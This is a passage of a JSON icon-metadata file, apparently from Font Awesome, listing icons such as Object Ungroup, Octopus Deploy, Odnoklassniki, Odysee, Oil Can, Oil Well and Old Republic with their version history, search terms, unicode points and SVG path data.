        "secondary": ["10f248"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["copy", "design", "merge", "select", "separate"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f248",
    "label": "Object Ungroup",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 119.4C12.9 108.4 0 87.7 0 64C0 28.7 28.7 0 64 0c23.7 0 44.4 12.9 55.4 32H328.6C339.6 12.9 360.3 0 384 0c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V232.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V119.4zM119.4 96c-5.6 9.7-13.7 17.8-23.4 23.4V232.6c9.7 5.6 17.8 13.7 23.4 23.4H328.6c5.6-9.7 13.7-17.8 23.4-23.4V119.4c-9.7-5.6-17.8-13.7-23.4-23.4H119.4zm192 384c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V352h64v40.6c9.7 5.6 17.8 13.7 23.4 23.4H520.6c5.6-9.7 13.7-17.8 23.4-23.4V279.4c-9.7-5.6-17.8-13.7-23.4-23.4h-46c-5.4-15.4-14.6-28.9-26.5-39.6V192h72.6c11.1-19.1 31.7-32 55.4-32c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V392.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H311.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 119.4C12.9 108.4 0 87.7 0 64C0 28.7 28.7 0 64 0c23.7 0 44.4 12.9 55.4 32H328.6C339.6 12.9 360.3 0 384 0c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V232.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V119.4zM119.4 96c-5.6 9.7-13.7 17.8-23.4 23.4V232.6c9.7 5.6 17.8 13.7 23.4 23.4H328.6c5.6-9.7 13.7-17.8 23.4-23.4V119.4c-9.7-5.6-17.8-13.7-23.4-23.4H119.4zm192 384c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V352h64v40.6c9.7 5.6 17.8 13.7 23.4 23.4H520.6c5.6-9.7 13.7-17.8 23.4-23.4V279.4c-9.7-5.6-17.8-13.7-23.4-23.4h-46c-5.4-15.4-14.6-28.9-26.5-39.6V192h72.6c11.1-19.1 31.7-32 55.4-32c35.3 0 64 28.7 64 64c0 23.7-12.9 44.4-32 55.4V392.6c19.1 11.1 32 31.7 32 55.4c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H311.4z"
      },
      "regular": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48.2 66.8c-.1-.8-.2-1.7-.2-2.5c0-.1 0-.1 0-.2c0-8.8 7.2-16 16-16c.9 0 1.9 .1 2.8 .2C74.3 49.5 80 56.1 80 64c0 8.8-7.2 16-16 16c-7.9 0-14.5-5.7-15.8-13.2zM0 64c0 26.9 16.5 49.9 40 59.3V228.7C16.5 238.1 0 261.1 0 288c0 35.3 28.7 64 64 64c26.9 0 49.9-16.5 59.3-40H324.7c9.5 23.5 32.5 40 59.3 40c35.3 0 64-28.7 64-64c0-26.9-16.5-49.9-40-59.3V123.3c23.5-9.5 40-32.5 40-59.3c0-35.3-28.7-64-64-64c-26.9 0-49.9 16.5-59.3 40H123.3C113.9 16.5 90.9 0 64 0C28.7 0 0 28.7 0 64zm368 0a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM324.7 88c6.5 16 19.3 28.9 35.3 35.3V228.7c-16 6.5-28.9 19.3-35.3 35.3H123.3c-6.5-16-19.3-28.9-35.3-35.3V123.3c16-6.5 28.9-19.3 35.3-35.3H324.7zM384 272a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM80 288c0 7.9-5.7 14.5-13.2 15.8c-.8 .1-1.7 .2-2.5 .2l-.2 0c-8.8 0-16-7.2-16-16c0-.9 .1-1.9 .2-2.8C49.5 277.7 56.1 272 64 272c8.8 0 16 7.2 16 16zm391.3-40h45.4c6.5 16 19.3 28.9 35.3 35.3V388.7c-16 6.5-28.9 19.3-35.3 35.3H315.3c-6.5-16-19.3-28.9-35.3-35.3V352H232v36.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64c26.9 0 49.9-16.5 59.3-40H516.7c9.5 23.5 32.5 40 59.3 40c35.3 0 64-28.7 64-64c0-26.9-16.5-49.9-40-59.3V283.3c23.5-9.5 40-32.5 40-59.3c0-35.3-28.7-64-64-64c-26.9 0-49.9 16.5-59.3 40H448v16.4c9.8 8.8 17.8 19.5 23.3 31.6zm88.9-26.7a16 16 0 1 1 31.5 5.5 16 16 0 1 1 -31.5-5.5zM271.8 450.7a16 16 0 1 1 -31.5-5.5 16 16 0 1 1 31.5 5.5zm301.5 13c-7.5-1.3-13.2-7.9-13.2-15.8c0-8.8 7.2-16 16-16c7.9 0 14.5 5.7 15.8 13.2l0 .1c.1 .9 .2 1.8 .2 2.7c0 8.8-7.2 16-16 16c-.9 0-1.9-.1-2.8-.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48.2 66.8c-.1-.8-.2-1.7-.2-2.5c0-.1 0-.1 0-.2c0-8.8 7.2-16 16-16c.9 0 1.9 .1 2.8 .2C74.3 49.5 80 56.1 80 64c0 8.8-7.2 16-16 16c-7.9 0-14.5-5.7-15.8-13.2zM0 64c0 26.9 16.5 49.9 40 59.3V228.7C16.5 238.1 0 261.1 0 288c0 35.3 28.7 64 64 64c26.9 0 49.9-16.5 59.3-40H324.7c9.5 23.5 32.5 40 59.3 40c35.3 0 64-28.7 64-64c0-26.9-16.5-49.9-40-59.3V123.3c23.5-9.5 40-32.5 40-59.3c0-35.3-28.7-64-64-64c-26.9 0-49.9 16.5-59.3 40H123.3C113.9 16.5 90.9 0 64 0C28.7 0 0 28.7 0 64zm368 0a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM324.7 88c6.5 16 19.3 28.9 35.3 35.3V228.7c-16 6.5-28.9 19.3-35.3 35.3H123.3c-6.5-16-19.3-28.9-35.3-35.3V123.3c16-6.5 28.9-19.3 35.3-35.3H324.7zM384 272a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM80 288c0 7.9-5.7 14.5-13.2 15.8c-.8 .1-1.7 .2-2.5 .2l-.2 0c-8.8 0-16-7.2-16-16c0-.9 .1-1.9 .2-2.8C49.5 277.7 56.1 272 64 272c8.8 0 16 7.2 16 16zm391.3-40h45.4c6.5 16 19.3 28.9 35.3 35.3V388.7c-16 6.5-28.9 19.3-35.3 35.3H315.3c-6.5-16-19.3-28.9-35.3-35.3V352H232v36.7c-23.5 9.5-40 32.5-40 59.3c0 35.3 28.7 64 64 64c26.9 0 49.9-16.5 59.3-40H516.7c9.5 23.5 32.5 40 59.3 40c35.3 0 64-28.7 64-64c0-26.9-16.5-49.9-40-59.3V283.3c23.5-9.5 40-32.5 40-59.3c0-35.3-28.7-64-64-64c-26.9 0-49.9 16.5-59.3 40H448v16.4c9.8 8.8 17.8 19.5 23.3 31.6zm88.9-26.7a16 16 0 1 1 31.5 5.5 16 16 0 1 1 -31.5-5.5zM271.8 450.7a16 16 0 1 1 -31.5-5.5 16 16 0 1 1 31.5 5.5zm301.5 13c-7.5-1.3-13.2-7.9-13.2-15.8c0-8.8 7.2-16 16-16c7.9 0 14.5 5.7 15.8 13.2l0 .1c.1 .9 .2 1.8 .2 2.7c0 8.8-7.2 16-16 16c-.9 0-1.9-.1-2.8-.2z"
      }
    },
    "free": ["regular", "solid"]
  },
  "octopus-deploy": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e082",
    "label": "Octopus Deploy",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z"
      }
    },
    "free": ["brands"]
  },
  "odnoklassniki": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f263",
    "label": "Odnoklassniki",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z"
      }
    },
    "free": ["brands"]
  },
  "odysee": {
    "changes": ["6.2.1", "6.3.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e5c6",
    "label": "Odysee",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1667828915,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M406.7 463c-42.3 30.8-94.4 49-150.7 49C144.9 512 50.3 441.2 14.9 342.2c2.4 1.7 5.9 3.6 7.9 4.4c16.3 7.4 40.1-5.4 62.9-28.7c6.9-6.9 14.4-12.4 22.8-17.3c18.3-11.9 37.6-20.8 58.4-27.2c0 0 22.3 34.2 43.1 74.8s-22.3 54-27.2 54c-.3 0-.8 0-1.5-.1c-11-.5-70-3-56 51.1c14.9 57.4 97.5 36.6 139.6 8.9s31.7-118.3 31.7-118.3c41.1-6.4 54 37.1 57.9 59.4c.8 4.6 1.1 9.9 1.4 15.5c1.1 21.2 2.3 45.6 35.3 46.4c5.3 0 10.6-.8 15.5-2zm-95.3-23.7c-2-.5-3.5-2.5-3-5c1-2.5 3-3.5 5-3s3.5 3 3 5s-2.5 3.5-5 3zm-207-95.6c1.5-.5 3.5 1 4 3c0 2-1 4-3 4c-1.5 .5-3.5-1-4-3c-.5-1.5 1-3.5 3-4zM451.8 421C489.3 376.4 512 318.8 512 256c0-67.5-26.1-128.9-68.8-174.7c-.1 23.5-6.1 48.2-16.8 69.2c-11.9 20.3-49 58.9-69.8 78.7c-.7 .3-1.1 .9-1.5 1.4c-.2 .2-.3 .4-.5 .6c-5 6.9-4 16.8 3 21.8c21.3 15.8 56.4 45.6 59.4 72.8c3.5 34.9 27.9 75.6 34.2 86.2l0 0c.8 1.3 1.3 2.1 1.4 2.4c0 2.2-.4 4.3-.8 6.5zM390.7 251c-.5 3 1 5.9 4 6.4s5.9-1 6.4-4s-1-5.9-4-6.4c-3-1-5.9 1-6.4 4zm61.4-60.9l-11.4 5.4-3 12.9-5.4-11.4-12.9-3 11.4-5.4 3-12.9 5.4 11.4 12.9 3zM395.5 41.3c-16.2 8.2-22.1 32.8-29 61.4l0 0c-.3 1.4-.7 2.8-1 4.2c-9.5 38.5-30.6 37.6-41.7 37.2c-1.1 0-2-.1-2.9-.1c-5.1 0-6-4-8.9-17.1c-2.6-12.1-6.9-32-17.9-63.6C271.4-2.5 211.4 13.9 165.9 41.1C110.6 74.2 131.5 143 146.1 190.5c.7 2.2 1.4 4.4 2 6.6c-4 4-13.8 7.5-26 11.9c-12.1 4.3-26.6 9.5-40.3 16.9C47.9 243.9 11.5 274.9 2 288.5C.7 277.8 0 267 0 256C0 114.6 114.6 0 256 0c51.4 0 99.4 15.2 139.5 41.3zM58.9 189.6c-1.5-2-4.5-3-6.4-1.5s-3 4.5-1.5 6.4s4.5 3 6.4 1.5c2.5-1.5 3-4.5 1.5-6.4zM327.3 64.9c2-1.5 5-.5 6.4 1.5c1.5 2.5 1 5.4-1.5 6.4c-2 1.5-5 .5-6.4-1.5s-.5-5 1.5-6.4zM95.1 105c-.5 1.5 .5 3 2 3c1.5 .5 3-.5 3-2c.5-1.5-.5-3-2-3s-3 .5-3 2zm84.7-.5c-3.5-43.1 37.1-54 37.1-54c44.1-15.4 56 5.9 66.4 37.6s3 42.6-38.6 58.9s-61.9-4.5-64.9-42.6zm89.6 14.9h1c2.5 0 5-2 5-5c2-6.9 1-14.4-2-20.8c-1.5-2-4-3.5-6.4-2.5c-3 1-4.5 4-3.5 6.9c2 4.5 3 9.9 1.5 14.9c-.5 3 1.5 5.9 4.5 6.4zm-9.9-41.6c-2 0-4-1-5-3s-2-3.5-3-5c-2-2-2-5.4 0-7.4s5.4-2 7.4 0c2 2.5 3.5 5 5 7.4s.5 5.9-2.5 7.4c-.6 0-1 .2-1.3 .3c-.2 .1-.4 .2-.6 .2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M406.7 463c-42.3 30.8-94.4 49-150.7 49C144.9 512 50.3 441.2 14.9 342.2c2.4 1.7 5.9 3.6 7.9 4.4c16.3 7.4 40.1-5.4 62.9-28.7c6.9-6.9 14.4-12.4 22.8-17.3c18.3-11.9 37.6-20.8 58.4-27.2c0 0 22.3 34.2 43.1 74.8s-22.3 54-27.2 54c-.3 0-.8 0-1.5-.1c-11-.5-70-3-56 51.1c14.9 57.4 97.5 36.6 139.6 8.9s31.7-118.3 31.7-118.3c41.1-6.4 54 37.1 57.9 59.4c.8 4.6 1.1 9.9 1.4 15.5c1.1 21.2 2.3 45.6 35.3 46.4c5.3 0 10.6-.8 15.5-2zm-95.3-23.7c-2-.5-3.5-2.5-3-5c1-2.5 3-3.5 5-3s3.5 3 3 5s-2.5 3.5-5 3zm-207-95.6c1.5-.5 3.5 1 4 3c0 2-1 4-3 4c-1.5 .5-3.5-1-4-3c-.5-1.5 1-3.5 3-4zM451.8 421C489.3 376.4 512 318.8 512 256c0-67.5-26.1-128.9-68.8-174.7c-.1 23.5-6.1 48.2-16.8 69.2c-11.9 20.3-49 58.9-69.8 78.7c-.7 .3-1.1 .9-1.5 1.4c-.2 .2-.3 .4-.5 .6c-5 6.9-4 16.8 3 21.8c21.3 15.8 56.4 45.6 59.4 72.8c3.5 34.9 27.9 75.6 34.2 86.2l0 0c.8 1.3 1.3 2.1 1.4 2.4c0 2.2-.4 4.3-.8 6.5zM390.7 251c-.5 3 1 5.9 4 6.4s5.9-1 6.4-4s-1-5.9-4-6.4c-3-1-5.9 1-6.4 4zm61.4-60.9l-11.4 5.4-3 12.9-5.4-11.4-12.9-3 11.4-5.4 3-12.9 5.4 11.4 12.9 3zM395.5 41.3c-16.2 8.2-22.1 32.8-29 61.4l0 0c-.3 1.4-.7 2.8-1 4.2c-9.5 38.5-30.6 37.6-41.7 37.2c-1.1 0-2-.1-2.9-.1c-5.1 0-6-4-8.9-17.1c-2.6-12.1-6.9-32-17.9-63.6C271.4-2.5 211.4 13.9 165.9 41.1C110.6 74.2 131.5 143 146.1 190.5c.7 2.2 1.4 4.4 2 6.6c-4 4-13.8 7.5-26 11.9c-12.1 4.3-26.6 9.5-40.3 16.9C47.9 243.9 11.5 274.9 2 288.5C.7 277.8 0 267 0 256C0 114.6 114.6 0 256 0c51.4 0 99.4 15.2 139.5 41.3zM58.9 189.6c-1.5-2-4.5-3-6.4-1.5s-3 4.5-1.5 6.4s4.5 3 6.4 1.5c2.5-1.5 3-4.5 1.5-6.4zM327.3 64.9c2-1.5 5-.5 6.4 1.5c1.5 2.5 1 5.4-1.5 6.4c-2 1.5-5 .5-6.4-1.5s-.5-5 1.5-6.4zM95.1 105c-.5 1.5 .5 3 2 3c1.5 .5 3-.5 3-2c.5-1.5-.5-3-2-3s-3 .5-3 2zm84.7-.5c-3.5-43.1 37.1-54 37.1-54c44.1-15.4 56 5.9 66.4 37.6s3 42.6-38.6 58.9s-61.9-4.5-64.9-42.6zm89.6 14.9h1c2.5 0 5-2 5-5c2-6.9 1-14.4-2-20.8c-1.5-2-4-3.5-6.4-2.5c-3 1-4.5 4-3.5 6.9c2 4.5 3 9.9 1.5 14.9c-.5 3 1.5 5.9 4.5 6.4zm-9.9-41.6c-2 0-4-1-5-3s-2-3.5-3-5c-2-2-2-5.4 0-7.4s5.4-2 7.4 0c2 2.5 3.5 5 5 7.4s.5 5.9-2.5 7.4c-.6 0-1 .2-1.3 .3c-.2 .1-.4 .2-.6 .2z"
      }
    },
    "free": ["brands"]
  },
  "oil-can": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f613"]
      }
    },
    "changes": [
      "5.2.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["auto", "crude", "gasoline", "grease", "lubricate", "petroleum"]
    },
    "styles": ["solid"],
    "unicode": "f613",
    "label": "Oil Can",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 128c17.7 0 32-14.3 32-32s-14.3-32-32-32H192c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v32H144 96 48c-26.5 0-48 21.5-48 48v64.8c0 19 11.2 36.2 28.5 43.9l67.5 30V368c0 26.5 21.5 48 48 48H403.1c18.4 0 35.8-7.9 48-21.7L633.5 187.7c12.3-13.9-.3-35.4-18.4-31.5L448 192l-50.5-25.2c-8.9-4.4-18.7-6.8-28.6-6.8H288V128h32zM96 208v86.1L48 272.8V208H96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 128c17.7 0 32-14.3 32-32s-14.3-32-32-32H192c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v32H144 96 48c-26.5 0-48 21.5-48 48v64.8c0 19 11.2 36.2 28.5 43.9l67.5 30V368c0 26.5 21.5 48 48 48H403.1c18.4 0 35.8-7.9 48-21.7L633.5 187.7c12.3-13.9-.3-35.4-18.4-31.5L448 192l-50.5-25.2c-8.9-4.4-18.7-6.8-28.6-6.8H288V128h32zM96 208v86.1L48 272.8V208H96z"
      }
    },
    "free": ["solid"]
  },
  "oil-well": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drill", "oil", "rig"]
    },
    "styles": ["solid"],
    "unicode": "e532",
    "label": "Oil Well",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528.3 61.3c-11.4-42.7-55.3-68-98-56.6L414.9 8.8C397.8 13.4 387.7 31 392.3 48l24.5 91.4L308.5 167.5l-6.3-18.1C297.7 136.6 285.6 128 272 128s-25.7 8.6-30.2 21.4l-13.6 39L96 222.6V184c0-13.3-10.7-24-24-24s-24 10.7-24 24V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H406.7L340 257.5l-62.2 16.1L305.3 352H238.7L265 277l-74.6 19.3L137.3 448H96V288.8l337.4-87.5 25.2 94c4.6 17.1 22.1 27.2 39.2 22.6l15.5-4.1c42.7-11.4 68-55.3 56.6-98L528.3 61.3zM205.1 448l11.2-32H327.7l11.2 32H205.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M528.3 61.3c-11.4-42.7-55.3-68-98-56.6L414.9 8.8C397.8 13.4 387.7 31 392.3 48l24.5 91.4L308.5 167.5l-6.3-18.1C297.7 136.6 285.6 128 272 128s-25.7 8.6-30.2 21.4l-13.6 39L96 222.6V184c0-13.3-10.7-24-24-24s-24 10.7-24 24V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H406.7L340 257.5l-62.2 16.1L305.3 352H238.7L265 277l-74.6 19.3L137.3 448H96V288.8l337.4-87.5 25.2 94c4.6 17.1 22.1 27.2 39.2 22.6l15.5-4.1c42.7-11.4 68-55.3 56.6-98L528.3 61.3zM205.1 448l11.2-32H327.7l11.2 32H205.1z"
      }
    },
    "free": ["solid"]
  },
  "old-republic": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": ["politics", "star wars"]
    },
    "styles": ["brands"],
    "unicode": "f510",
    "label": "Old Republic",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 